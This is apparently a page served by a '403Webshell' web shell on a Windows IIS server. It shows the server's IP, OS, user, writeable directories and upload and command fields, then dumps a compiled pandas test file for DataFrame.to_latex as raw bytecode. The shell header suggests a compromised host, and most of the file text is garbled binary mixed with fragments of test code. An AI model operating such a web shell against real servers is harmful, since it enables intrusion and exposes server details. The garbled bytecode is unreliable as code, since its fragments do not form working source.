403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/tests/io/formats/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/tests/io/formats/__pycache__/test_to_latex.cpython-312.pyc
�

0	�g����R�ddlZddlmZddlmZddlZddlZddlmZmZddl	m
Zejd�d�Z
ejd��ZGd�d	�ZGd
�d�ZGd�d
�ZGd�d�ZGd�d�ZGd�d�ZGd�d�ZGd�d�ZGd�d�Zy)�N)�datetime)�dedent)�	DataFrame�Series�jinja2c�4�t|�j�S)z�Dedent without new line in the beginning.

    Built-in textwrap.dedent would keep new line character in the beginning
    of multi-line string starting from the new line.
    This version drops the leading new line character.
    )r�lstrip)�strings �GC:\Python312\Lib\site-packages\pandas/tests/io/formats/test_to_latex.py�_dedentrs���&�>� � �"�"�c�&�tddgddgd��S)z>Short dataframe for testing table/tabular/longtable LaTeX env.���b1�b2��a�b�r�r
r�df_shortrs���A�q�6��t��5�6�6r
c��eZdZd�Zd�Zd�Zd�Zd�Zejjdddd	d
gdhd�d
d	d
�g�d��Zd�Zd�Z
d�Zd�Zd�Zd�Zd�Zy)�TestToLatexc��tjd�5}|j|�t|d��5}|j�|j	�k(sJ�	ddd�ddd�y#1swY�xYw#1swYyxYw)N�test.tex�utf-8��encoding)�tm�ensure_clean�to_latex�open�read)�self�float_frame�path�fs    r�test_to_latex_to_filez!TestToLatex.test_to_latex_to_file"sv��
�_�_�Z�
(�	:�D�� � ��&��d�W�-�
:��"�+�+�-�����9�9�9�
:�	:�	:�
:�
:��	:�	:�s"�A7�$A+�A7�+A4	�0A7�7Bc�:�tdgg�}tjd�5}|j|d��t	j
|dd��5}|j�|j
�k(sJ�	ddd�ddd�y#1swY�xYw#1swYyxYw)N�
außgangenrrr�r�rr r!r"�codecsr#r$�r%�dfr'r(s    r�(test_to_latex_to_file_utf8_with_encodingz4TestToLatex.test_to_latex_to_file_utf8_with_encoding(s���
��(�)�
*��
�_�_�Z�
(�	1�D��K�K��w�K�/����T�3��9�
1�Q��{�{�}�����0�0�0�
1�	1�	1�
1�
1��	1�	1�s#�,B�$B�4B�B	�
B�Bc�6�tdgg�}tjd�5}|j|�t	j
|dd��5}|j�|j
�k(sJ�	ddd�ddd�y#1swY�xYw#1swYyxYw)Nr+rr,rrr-r/s    r�+test_to_latex_to_file_utf8_without_encodingz7TestToLatex.test_to_latex_to_file_utf8_without_encoding0s���
��(�)�
*��
�_�_�Z�
(�	1�D��K�K������T�3��9�
1�Q��{�{�}�����0�0�0�
1�	1�	1�
1�
1��	1�	1�s#�*B�
$B�2B�B	�B�Bc�l�tddgddgd��}|j�}td�}||k(sJ�y)Nrrrrr��
            \begin{tabular}{lrl}
            \toprule
             & a & b \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            �rr"r�r%r0�result�expecteds    r� test_to_latex_tabular_with_indexz,TestToLatex.test_to_latex_tabular_with_index8sC��
�a��V�4��,�7�
8��������	
�
����!�!�!r
c�p�tddgddgd��}|jd��}td�}||k(sJ�y)	NrrrrrF��indexz�
            \begin{tabular}{rl}
            \toprule
            a & b \\
            \midrule
            1 & b1 \\
            2 & b2 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�#test_to_latex_tabular_without_indexz/TestToLatex.test_to_latex_tabular_without_indexIsH��
�a��V�4��,�7�
8�����5��)���	
�
����!�!�!r
�bad_column_format�g333333�?�lr,)r,�c>rBrAr,rc��tddgddgd��}d}tjt|��5|j	|��ddd�y#1swYyxYw)	Nrrrrrz&`column_format` must be str or unicode��match��
column_format�r�pytest�raises�
ValueErrorr")r%r?r0�msgs    r�test_to_latex_bad_column_formatz+TestToLatex.test_to_latex_bad_column_formatZsR��
�a��V�4��,�7�
8��7��
�]�]�:�S�
1�	9��K�K�&7�K�8�	9�	9�	9�s�A�Ac�(�|jd��y)N�lcrrF�r")r%r&s  r�&test_to_latex_column_format_just_worksz2TestToLatex.test_to_latex_column_format_just_worksds�����5��1r
c�p�tddgddgd��}|jd��}td�}||k(sJ�y)	NrrrrrrOrFz�
            \begin{tabular}{lcr}
            \toprule
             & a & b \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�test_to_latex_column_formatz'TestToLatex.test_to_latex_column_formathsH��
�a��V�4��,�7�
8�����5��1���	
�
����!�!�!r
c�z�tddg�}|jdj��}td�}||k(sJ�y)Ng@�@�testz{:,.0f}��float_formatz�
            \begin{tabular}{ll}
            \toprule
             & 0 \\
            \midrule
            0 & 1,000 \\
            1 & test \\
            \bottomrule
            \end{tabular}
            )rr"�formatr)r%�serr8r9s    r�%test_to_latex_float_format_object_colz1TestToLatex.test_to_latex_float_format_object_colysF���f�f�%�&�����9�+;�+;��<���	
�
����!�!�!r
c�\�t�}|j�}td�}||k(sJ�y)Nz�
            \begin{tabular}{l}
            \toprule
            \midrule
            \bottomrule
            \end{tabular}
            r6r7s    r�test_to_latex_empty_tabularz'TestToLatex.test_to_latex_empty_tabular�s3��
�[��������
�
����!�!�!r
c�b�tgd��}|j�}td�}||k(sJ�y)N�rrrBz�
            \begin{tabular}{ll}
            \toprule
             & 0 \\
            \midrule
            0 & a \\
            1 & b \\
            2 & c \\
            \bottomrule
            \end{tabular}
            )rr"r)r%�sr8r9s    r�test_to_latex_seriesz TestToLatex.test_to_latex_series�s6���?�#��������

�
����!�!�!r
c��tdddgi�}d|j_|jd��}t	d�}||k(sJ�y)Nrrr�fooF)�index_namesz�
            \begin{tabular}{lr}
            \toprule
             & a \\
            \midrule
            0 & 1 \\
            1 & 2 \\
            \bottomrule
            \end{tabular}
            )rr=�namer"rr7s    r�test_to_latex_midrule_locationz*TestToLatex.test_to_latex_midrule_location�sN��
��a��V�}�
%������
������/���	
�
����!�!�!r
c��tddgddgddgd��}d}tjt|�	�5|j	dd�ddd�y#1swYyxYw)
N�Raphael�	Donatello��-g��(\�f@g�����4f@)rd�age�heightznStarting with pandas version 3.0 all arguments of to_latex except for the argument 'buf' will be keyword-only.rD)rr �assert_produces_warning�
FutureWarningr")r%r0rLs   r�"test_to_latex_pos_args_deprecationz.TestToLatex.test_to_latex_pos_args_deprecation�sg��
�"�K�0��B�x�!�6�*�
�
��
8�	��
'�
'�
�S�
A�	$��K�K��d�#�	$�	$�	$�s�A�AN)�__name__�
__module__�__qualname__r)r1r3r:r>rI�mark�parametrizerMrQrSrZr\r`rerorr
rrr!s}��:�1�1�"�""�"�[�[����	
�C�#�s��Z���#�:N�O��9�	�9�2�"�""�$"�"�$"�&$r
rc���eZdZd�Zd�Zd�Zejjde	dddgi�dfe	ddgdd	gd
��dfe	ddgdd	gddgd
��dfg�d��Z
y)�TestToLatexLongtablec�`�t�}|jd��}td�}||k(sJ�y)NT��	longtableaw
            \begin{longtable}{l}
            \toprule
            \midrule
            \endfirsthead
            \toprule
            \midrule
            \endhead
            \midrule
            \multicolumn{0}{r}{Continued on next page} \\
            \midrule
            \endfoot
            \bottomrule
            \endlastfoot
            \end{longtable}
            r6r7s    r�test_to_latex_empty_longtablez2TestToLatexLongtable.test_to_latex_empty_longtable�s8��
�[�����t��,���
�
��$��!�!�!r
c�p�tddgddgd��}|jd��}td�}||k(sJ�y)	NrrrrrTrxa�
            \begin{longtable}{lrl}
            \toprule
             & a & b \\
            \midrule
            \endfirsthead
            \toprule
             & a & b \\
            \midrule
            \endhead
            \midrule
            \multicolumn{3}{r}{Continued on next page} \\
            \midrule
            \endfoot
            \bottomrule
            \endlastfoot
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \end{longtable}
            r6r7s    r�"test_to_latex_longtable_with_indexz7TestToLatexLongtable.test_to_latex_longtable_with_index�sH��
�a��V�4��,�7�
8�����t��,���
�
��,��!�!�!r
c�r�tddgddgd��}|jdd��}td	�}||k(sJ�y)
NrrrrrFT�r=rya�
            \begin{longtable}{rl}
            \toprule
            a & b \\
            \midrule
            \endfirsthead
            \toprule
            a & b \\
            \midrule
            \endhead
            \midrule
            \multicolumn{2}{r}{Continued on next page} \\
            \midrule
            \endfoot
            \bottomrule
            \endlastfoot
            1 & b1 \\
            2 & b2 \\
            \end{longtable}
            r6r7s    r�%test_to_latex_longtable_without_indexz:TestToLatexLongtable.test_to_latex_longtable_without_indexsJ��
�a��V�4��,�7�
8�����5�D��9���
�
��,��!�!�!r
zdf, expected_numberrrr��rr@�r^c�>�|jdd��}d|�d�|vsJ�y)NFTr~z
\multicolumn{�}rP)r%r0�expected_numberr8s    r�.test_to_latex_longtable_continued_on_next_pagezCTestToLatexLongtable.test_to_latex_longtable_continued_on_next_pages.�����5�D��9�� �� 1��4��>�>�>r
N)rprqrrrzr|rrIrsrtrr�rr
rrvrv�s���"�."�6"�6�[�[����
��a��V�}�
%�q�)�
�a��V�1�a�&�1�
2�A�6�
�a��V�1�a�&��1�v�>�
?��C�	
��?��?r
rvc�|�eZdZd�Zd�Zd�Zd�Zejjddgdfdd	d
g�d��Z
d�Zy
)�TestToLatexHeaderc�p�tddgddgd��}|jd��}td�}||k(sJ�y)	NrrrrrF��headerz�
            \begin{tabular}{lrl}
            \toprule
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�"test_to_latex_no_header_with_indexz4TestToLatexHeader.test_to_latex_no_header_with_index+sH��
�a��V�4��,�7�
8�����E��*���
�

����!�!�!r
c�r�tddgddgd��}|jdd��}td�}||k(sJ�y)	NrrrrrF)r=r�z�
            \begin{tabular}{rl}
            \toprule
            \midrule
            1 & b1 \\
            2 & b2 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�%test_to_latex_no_header_without_indexz7TestToLatexHeader.test_to_latex_no_header_without_index<sJ��
�a��V�4��,�7�
8�����5���7���
�

����!�!�!r
c�t�tddgddgd��}|jddg��}td	�}||k(sJ�y)
Nrrrrr�AA�BBr�z�
            \begin{tabular}{lrl}
            \toprule
             & AA & BB \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�)test_to_latex_specified_header_with_indexz;TestToLatexHeader.test_to_latex_specified_header_with_indexMsL��
�a��V�4��,�7�
8�����T�4�L��1���	
�
����!�!�!r
c�v�tddgddgd��}|jddgd�	�}td
�}||k(sJ�y)Nrrrrrr�r�F)r�r=z�
            \begin{tabular}{rl}
            \toprule
            AA & BB \\
            \midrule
            1 & b1 \\
            2 & b2 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�,test_to_latex_specified_header_without_indexz>TestToLatexHeader.test_to_latex_specified_header_without_index_sN��
�a��V�4��,�7�
8�����T�4�L���>���	
�
����!�!�!r
zheader, num_aliases�Ar))�Br))�Col1�Col2�Col3r�))r�r�r��Col4r�c��tddgddgd��}d|�d�}tjt|��5|j	|�	�ddd�y#1swYyxYw)
NrrrrrzWriting 2 cols but got z aliasesrDr�rH)r%r��num_aliasesr0rLs     r�8test_to_latex_number_of_items_in_header_missmatch_raiseszJTestToLatexHeader.test_to_latex_number_of_items_in_header_missmatch_raisesqsZ���a��V�4��,�7�
8��'��}�H�=��
�]�]�:�S�
1�	'��K�K�v�K�&�	'�	'�	'�s�A�Ac�p�tddgddgd��}|jd��}td�}||k(sJ�y)	N��?g������@rrr�,)�decimalz�
            \begin{tabular}{lrl}
            \toprule
             & a & b \\
            \midrule
            0 & 1,000000 & b1 \\
            1 & 2,100000 & b2 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�test_to_latex_decimalz'TestToLatexHeader.test_to_latex_decimal�sH��
�c�3�Z�t�T�l�;�
<�����S��)���	
�
����!�!�!r
N)rprqrrr�r�r�r�rIrsrtr�r�rr
rr�r�*sX��"�""�""�$"�$�[�[�����U�A�J��)�1�		
��	'��	'�"r
r�c��eZdZd�Zd�Zy)�TestToLatexBoldc�p�tddgddgd��}|jd��}td�}||k(sJ�y)	NrrrrrT��	bold_rowsz�
            \begin{tabular}{lrl}
            \toprule
             & a & b \\
            \midrule
            \textbf{0} & 1 & b1 \\
            \textbf{1} & 2 & b2 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�test_to_latex_bold_rowsz'TestToLatexBold.test_to_latex_bold_rows�sH��
�a��V�4��,�7�
8�����t��,���	
�
����!�!�!r
c�p�tddgddgd��}|jd��}td�}||k(sJ�y)	NrrrrrFr�r5r6r7s    r�test_to_latex_no_bold_rowsz*TestToLatexBold.test_to_latex_no_bold_rows�sH��
�a��V�4��,�7�
8�����u��-���	
�
����!�!�!r
N)rprqrrr�r�rr
rr�r��s��"�$"r
r�c�J�eZdZejd��Zejd��Zejd��Zejd��Zejd��Z	d�Z
d�Zd�Zd	�Z
d
�Zd�Zej j#dgd
��d��Zd�Zd�Zd�Zd�Zd�Zy)�TestToLatexCaptionLabelc��y)z,Caption for table/tabular LaTeX environment.z/a table in a \texttt{table/tabular} environmentr�r%s r�
caption_tablez%TestToLatexCaptionLabel.caption_table�s��Br
c��y)z@Short caption for testing \caption[short_caption]{full_caption}.za tablerr�s r�
short_captionz%TestToLatexCaptionLabel.short_caption�s��r
c��y)z*Label for table/tabular LaTeX environment.ztab:table_tabularrr�s r�label_tablez#TestToLatexCaptionLabel.label_table�s��#r
c��y)z(Caption for longtable LaTeX environment.z+a table in a \texttt{longtable} environmentrr�s r�caption_longtablez)TestToLatexCaptionLabel.caption_longtable�s��>r
c��y)z&Label for longtable LaTeX environment.z
tab:longtablerr�s r�label_longtablez'TestToLatexCaptionLabel.label_longtable�s��r
c�L�|j|��}td�}||k(sJ�y)N��captionaN
            \begin{table}
            \caption{a table in a \texttt{table/tabular} environment}
            \begin{tabular}{lrl}
            \toprule
             & a & b \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            \end{table}
            �r"r)r%rr�r8r9s     r�test_to_latex_caption_onlyz2TestToLatexCaptionLabel.test_to_latex_caption_only�s4���"�"�=�"�9���
�
����!�!�!r
c�L�|j|��}td�}||k(sJ�y)N)�labela.
            \begin{table}
            \label{tab:table_tabular}
            \begin{tabular}{lrl}
            \toprule
             & a & b \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            \end{table}
            r�)r%rr�r8r9s     r�test_to_latex_label_onlyz0TestToLatexCaptionLabel.test_to_latex_label_only�s4���"�"��"�5���
�
����!�!�!r
c�N�|j||��}td�}||k(sJ�y)N�r�r�at
            \begin{table}
            \caption{a table in a \texttt{table/tabular} environment}
            \label{tab:table_tabular}
            \begin{tabular}{lrl}
            \toprule
             & a & b \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            \end{table}
            r�)r%rr�r�r8r9s      r�test_to_latex_caption_and_labelz7TestToLatexCaptionLabel.test_to_latex_caption_and_labels6���"�"�=��"�L���

�
�� ��!�!�!r
c�P�|j||f��}td�}||k(sJ�y)Nr�aW
            \begin{table}
            \caption[a table]{a table in a \texttt{table/tabular} environment}
            \begin{tabular}{lrl}
            \toprule
             & a & b \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            \end{table}
            r�)r%rr�r�r8r9s      r�&test_to_latex_caption_and_shortcaptionz>TestToLatexCaptionLabel.test_to_latex_caption_and_shortcaptions;���"�"�M�=�+I�"�J���
�
����!�!�!r
c�p�d}|j|��}|jt|���}||k(sJ�y)N)zLong-long-caption�Shortr�)r"�list)r%rr��result_tuple�result_lists     r�1test_to_latex_caption_and_shortcaption_list_is_okzITestToLatexCaptionLabel.test_to_latex_caption_and_shortcaption_list_is_ok-s?��0���(�(��(�9���'�'��W�
�'�>���{�*�*�*r
c�R�|j||f|��}td�}||k(sJ�y)Nr�a}
            \begin{table}
            \caption[a table]{a table in a \texttt{table/tabular} environment}
            \label{tab:table_tabular}
            \begin{tabular}{lrl}
            \toprule
             & a & b \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            \end{table}
            r�)r%rr�r�r�r8r9s       r�,test_to_latex_caption_shortcaption_and_labelzDTestToLatexCaptionLabel.test_to_latex_caption_shortcaption_and_label3sE���"�"�"�M�2��#�
���

�
�� ��!�!�!r
�bad_caption))�full_captionr��extra_string)r�r�r)r�r�N)r�)Nc��tddgi�}d}tjt|��5|j	|��ddd�y#1swYyxYw)Nrrz7`caption` must be either a string or 2-tuple of stringsrDr�rH)r%r�r0rLs    r� test_to_latex_bad_caption_raisesz8TestToLatexCaptionLabel.test_to_latex_bad_caption_raisesQsJ����a�S�z�
"��G��
�]�]�:�S�
1�	-��K�K��K�,�	-�	-�	-�s�A�Ac�L�|jd��}td�}||k(sJ�y)N�xyr�a!
            \begin{table}
            \caption{xy}
            \begin{tabular}{lrl}
            \toprule
             & a & b \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            \end{table}
            r�)r%rr8r9s    r�test_to_latex_two_chars_captionz7TestToLatexCaptionLabel.test_to_latex_two_chars_captionbs6���"�"�4�"�0���
�
����!�!�!r
c�N�|jd|��}td�}||k(sJ�y)NT)ryr�ai
            \begin{longtable}{lrl}
            \caption{a table in a \texttt{longtable} environment} \\
            \toprule
             & a & b \\
            \midrule
            \endfirsthead
            \caption[]{a table in a \texttt{longtable} environment} \\
            \toprule
             & a & b \\
            \midrule
            \endhead
            \midrule
            \multicolumn{3}{r}{Continued on next page} \\
            \midrule
            \endfoot
            \bottomrule
            \endlastfoot
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \end{longtable}
            r�)r%rr�r8r9s     r�$test_to_latex_longtable_caption_onlyz<TestToLatexCaptionLabel.test_to_latex_longtable_caption_onlyws9���"�"�T�;L�"�M���
�
��0��!�!�!r
c�N�|jd|��}td�}||k(sJ�y)NT)ryr�a
            \begin{longtable}{lrl}
            \label{tab:longtable} \\
            \toprule
             & a & b \\
            \midrule
            \endfirsthead
            \toprule
             & a & b \\
            \midrule
            \endhead
            \midrule
            \multicolumn{3}{r}{Continued on next page} \\
            \midrule
            \endfoot
            \bottomrule
            \endlastfoot
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \end{longtable}
            r�)r%rr�r8r9s     r�"test_to_latex_longtable_label_onlyz:TestToLatexCaptionLabel.test_to_latex_longtable_label_only�s6���"�"�T��"�I���
�
��.��!�!�!r
c�P�|jd||��}td�}||k(sJ�y)NT�ryr�r�a+
        \begin{longtable}{lrl}
        \caption{a table in a \texttt{longtable} environment} \label{tab:longtable} \\
        \toprule
         & a & b \\
        \midrule
        \endfirsthead
        \caption[]{a table in a \texttt{longtable} environment} \\
        \toprule
         & a & b \\
        \midrule
        \endhead
        \midrule
        \multicolumn{3}{r}{Continued on next page} \\
        \midrule
        \endfoot
        \bottomrule
        \endlastfoot
        0 & 1 & b1 \\
        1 & 2 & b2 \\
        \end{longtable}
        r�)r%rr�r�r8r9s      r�)test_to_latex_longtable_caption_and_labelzATestToLatexCaptionLabel.test_to_latex_longtable_caption_and_label�sC���"�"��%�!�#�
��
�
�
��0��!�!�!r
c�T�|jd||f|��}td�}||k(sJ�y)NTr�a�
\begin{longtable}{lrl}
\caption[a table]{a table in a \texttt{longtable} environment} \label{tab:longtable} \\
\toprule
 & a & b \\
\midrule
\endfirsthead
\caption[]{a table in a \texttt{longtable} environment} \\
\toprule
 & a & b \\
\midrule
\endhead
\midrule
\multicolumn{3}{r}{Continued on next page} \\
\midrule
\endfoot
\bottomrule
\endlastfoot
0 & 1 & b1 \\
1 & 2 & b2 \\
\end{longtable}
r�)r%rr�r�r�r8r9s       r�6test_to_latex_longtable_caption_shortcaption_and_labelzNTestToLatexCaptionLabel.test_to_latex_longtable_caption_shortcaption_and_label�sH���"�"��&�
�6�!�#�
��
�
�
��0��!�!�!r
N)rprqrrrI�fixturer�r�r�r�r�r�r�r�r�r�r�rsrtr�r�r�r�r�r�rr
rr�r��s����^�^�B��B��^�^�����^�^�#��#��^�^�>��>��^�^����"�("�("�*"�0+�"�<�[�[����	
�	�-�	�-�"�*"�>"�8$"�L%"r
r�c�N�eZdZejd��Zd�Zd�Zd�Zd�Z	d�Z
y)�TestToLatexEscapec#�DK�d}d}t|d|di|d|did����y�w)z=Dataframe with special characters for testing chars escaping.rr)zco$e^x$zco^l1Nr)r%rrs   r�df_with_symbolsz!TestToLatexEscape.df_with_symbolss4����
�����Q��Q��$4��3��3�?O�P�Q�Q�s� c�L�|jd��}td�}||k(sJ�y)NF��escapez�
            \begin{tabular}{lll}
            \toprule
             & co$e^x$ & co^l1 \\
            \midrule
            a & a & a \\
            b & b & b \\
            \bottomrule
            \end{tabular}
            r�)r%r�r8r9s    r�test_to_latex_escape_falsez,TestToLatexEscape.test_to_latex_escape_falses4�� �)�)��)�7���	
�
����!�!�!r
c�V�|j�}|jd��}||k7sJ�y)NTr�rP)r%r��default�specified_trues    r�test_to_latex_escape_defaultz.TestToLatexEscape.test_to_latex_escape_defaults1��!�*�*�,��(�1�1��1�>���.�(�(�(r
c�f�tgd��}|jd��}td�}||k(sJ�y)N)za\b\cz^a^b^cz~a~b~cTr�ac
            \begin{tabular}{ll}
            \toprule
             & 0 \\
            \midrule
            0 & a\textbackslash b\textbackslash c \\
            1 & \textasciicircum a\textasciicircum b\textasciicircum c \\
            2 & \textasciitilde a\textasciitilde b\textasciitilde c \\
            \bottomrule
            \end{tabular}
            r6r7s    r�test_to_latex_special_escapez.TestToLatexEscape.test_to_latex_special_escapes<��
�7�
8�����D��)���

�
����!�!�!r
c�l�gd�}t|��}|jd��}td�}||k(sJ�y)N)
�&�%�$�#�_�{r��~�^�\)�dataTr�a�
            \begin{tabular}{ll}
            \toprule
             & 0 \\
            \midrule
            0 & \& \\
            1 & \% \\
            2 & \$ \\
            3 & \# \\
            4 & \_ \\
            5 & \{ \\
            6 & \} \\
            7 & \textasciitilde  \\
            8 & \textasciicircum  \\
            9 & \textbackslash  \\
            \bottomrule
            \end{tabular}
            r6)r%�special_charactersr0r8r9s     r�"test_to_latex_escape_special_charsz4TestToLatexEscape.test_to_latex_escape_special_chars0sB��P��
�.�
/�����D��)���
�
��(��!�!�!r
c�v�tddgddgd��}|jddgd�	�}td
�}||k(sJ�y)Nrrrrrz$A$z$B$F)r�r�z�
            \begin{tabular}{lrl}
            \toprule
             & $A$ & $B$ \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�;test_to_latex_specified_header_special_chars_without_escapezMTestToLatexEscape.test_to_latex_specified_header_special_chars_without_escapeJsN��
�a��V�4��,�7�
8�����U�E�N�5��A���	
�
����!�!�!r
N)rprqrrrIr�r�r�r�r�r�r�rr
rr�r�s3���^�^�R��R�"� )�"�$"�4"r
r�c��eZdZd�Zd�Zy)�TestToLatexPositionc�t�d}tddgddgd��}|j|��}td�}||k(sJ�y)	N�hrrrrr)�positiona
            \begin{table}[h]
            \begin{tabular}{lrl}
            \toprule
             & a & b \\
            \midrule
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \bottomrule
            \end{tabular}
            \end{table}
            r6�r%�the_positionr0r8r9s     r�test_to_latex_positionz*TestToLatexPosition.test_to_latex_position^sM����
�a��V�4��,�7�
8�����l��3���
�

����!�!�!r
c�v�d}tddgddgd��}|jd|��}td	�}||k(sJ�y)
N�trrrrrT)ryra�
            \begin{longtable}[t]{lrl}
            \toprule
             & a & b \\
            \midrule
            \endfirsthead
            \toprule
             & a & b \\
            \midrule
            \endhead
            \midrule
            \multicolumn{3}{r}{Continued on next page} \\
            \midrule
            \endfoot
            \bottomrule
            \endlastfoot
            0 & 1 & b1 \\
            1 & 2 & b2 \\
            \end{longtable}
            r6rs     r� test_to_latex_longtable_positionz4TestToLatexPosition.test_to_latex_longtable_positionrsO����
�a��V�4��,�7�
8�����t�l��C���
�
��,��!�!�!r
N)rprqrrrrrr
rr�r�]s��"�("r
r�c�f�eZdZd�Zd�Zd�Zejjdddg�d��Z	y)	�TestToLatexFormattersc	���ttddd�tddd�tddd�ggd�gd�gd�d	��}d
�d�d�d
�d�d�}|jt|���}t	d�}||k(sJ�y)Ni�rrr@r�)r��@�@�rrr�))rrTF)�
datetime64�float�int�objectc�$�|jd�S)Nz%Y-%m)�strftime��xs r�<lambda>zETestToLatexFormatters.test_to_latex_with_formatters.<locals>.<lambda>�s��A�J�J�w�$7�r
c��d|d�d�S)N�[z 4.1f�]rrs rrzETestToLatexFormatters.test_to_latex_with_formatters.<locals>.<lambda>�s���1�U�)�1�~�r
c��d|d��S)N�0xrrrs rrzETestToLatexFormatters.test_to_latex_with_formatters.<locals>.<lambda>�s��r�!�A��Z�r
c��d|�d�S)N�-rrs rrzETestToLatexFormatters.test_to_latex_with_formatters.<locals>.<lambda>�s��!�A�5��
�r
c��d|��S)Nzindex: rrs rrzETestToLatexFormatters.test_to_latex_with_formatters.<locals>.<lambda>�s��W�Q�C�=�r
)r
rrr�	__index__)�
formattersaq
            \begin{tabular}{llrrl}
            \toprule
             & datetime64 & float & int & object \\
            \midrule
            index: 0 & 2016-01 & [ 1.0] & 0x1 & -(1, 2)- \\
            index: 1 & 2016-02 & [ 2.0] & 0x2 & -True- \\
            index: 2 & 2016-03 & [ 3.0] & 0x3 & -False- \\
            \bottomrule
            \end{tabular}
            )rrr"�dictr)r%r0rr8r9s     r�test_to_latex_with_formattersz3TestToLatexFormatters.test_to_latex_with_formatters�s���
��T�1�a�(��T�1�a�(��T�1�a�(��
)� �/�	
�
��8�-�'�*�0�
�
�����Z�(8��9���

�
����!�!�!r
c�h�tddgi�}|jd��}td�}||k(sJ�y)NrgvöE��?z%.3frVz�
            \begin{tabular}{lr}
            \toprule
             & x \\
            \midrule
            0 & 0.200 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�3test_to_latex_float_format_no_fixed_width_3decimalszITestToLatexFormatters.test_to_latex_float_format_no_fixed_width_3decimals�sB��
��g�Y�'�
(�����&��1���
�

����!�!�!r
c�h�tddgi�}|jd��}td�}||k(sJ�y)NrgY@z%.0frVz�
            \begin{tabular}{lr}
            \toprule
             & x \\
            \midrule
            0 & 100 \\
            \bottomrule
            \end{tabular}
            r6r7s    r�1test_to_latex_float_format_no_fixed_width_integerzGTestToLatexFormatters.test_to_latex_float_format_no_fixed_width_integer�sA��
��e�W�~�
&�����&��1���
�

����!�!�!r
�na_rep�NaN�Tedc��tddgddggddg��}|j|dj��}td|�d	��}||k(sJ�y)
Nr�g��(\��?�Group�Data)�columnsz{:.2f})r&rWz�
            \begin{tabular}{llr}
            \toprule
             & Group & Data \\
            \midrule
            0 & A & 1.22 \\
            1 & A & zB \\
            \bottomrule
            \end{tabular}
            )rr"rXr)r%r&r0r8r9s     r�%test_to_latex_na_rep_and_float_formatz;TestToLatexFormatters.test_to_latex_na_rep_and_float_format�sq��
��f�
��d��
��f�%�
�����F�����I�����H�
�
	
�
����!�!�!r
N)
rprqrrr!r#r%rIrsrtr-rr
rrr�s;��$"�L"�""�"�[�[���X��u�~�6�"�7�"r
rc	���eZdZejd��Zejd��Zd�Zd�Zd�Z	d�Z
d�Zd�Zd	�Z
d
�Zd�Zd�Zd
�Zd�Zd�Zej(j+dddg�ej(j+dddg�ej(j+ddgdgddgg�d����Zej(j+dddg�d��Zd�Zd�Zy)�TestToLatexMultiindexc
#��K�tjttd�D�cic]}||��c}�ttd�D�cic]}||dz��
c}�ttd�D�cic]}||��c}�ttd�D�cic]}||dz��
c}�ttd�D�cic]}||��c}�d��j��ycc}wcc}wcc}wcc}wcc}w�w)z7Multiindex dataframe for testing multirow LaTeX macros.r��)�c1r)r2r)�c2r)r3r)�c3rN)r�	from_dictr�range�T�r%rs  r�multiindex_framez&TestToLatexMultiindex.multiindex_frame�s������!�!�!��q��":�A�1�a�4�":�;�!�U�1�X�">��1�a�!�e�8�">�?�!��q��":�A�1�a�4�":�;�!�U�1�X�">��1�a�!�e�8�">�?�!��q��":�A�1�a�4�":�;�
�
��!�	��":��">��":��">��":�s?�"C/�
C�C/�
C�C/�+
C �5C/�

C%�C/�2
C*�<3C/c#�`K�ttd�D�cic]}||��c}td�D�cic]}||dz��
c}td�D�cic]}||��c}td�D�cic]}||dz��
c}td�D�cic]}||��c}d����ycc}wcc}wcc}wcc}wcc}w�w)z;Multicolumn dataframe for testing multicolumn LaTeX macros.r@r1N)rr6r8s  r�multicolumn_framez'TestToLatexMultiindex.multicolumn_frame�s������*/��(�3�Q�A�q�D�3�.3�A�h�7��A�q�1�u�H�7�*/��(�3�Q�A�q�D�3�.3�A�h�7��A�q�1�u�H�7�*/��(�3�Q�A�q�D�3�
�
�	
��3��7��3��7��3�s=�B.�
B�B.�
B
�B.�

B�B.�#
B$�0B.�?
B)�	%B.c��tdgdgdgdgd��}|jddg�}|jdd	gd
��}td�}||k(sJ�y)
Nrrrr�)rrrB�drr�r1�r2F)r��multirowz�
            \begin{tabular}{llrr}
            \toprule
             &  & r1 & r2 \\
            a & b &  &  \\
            \midrule
            0 & 1 & 2 & 3 \\
            \bottomrule
            \end{tabular}
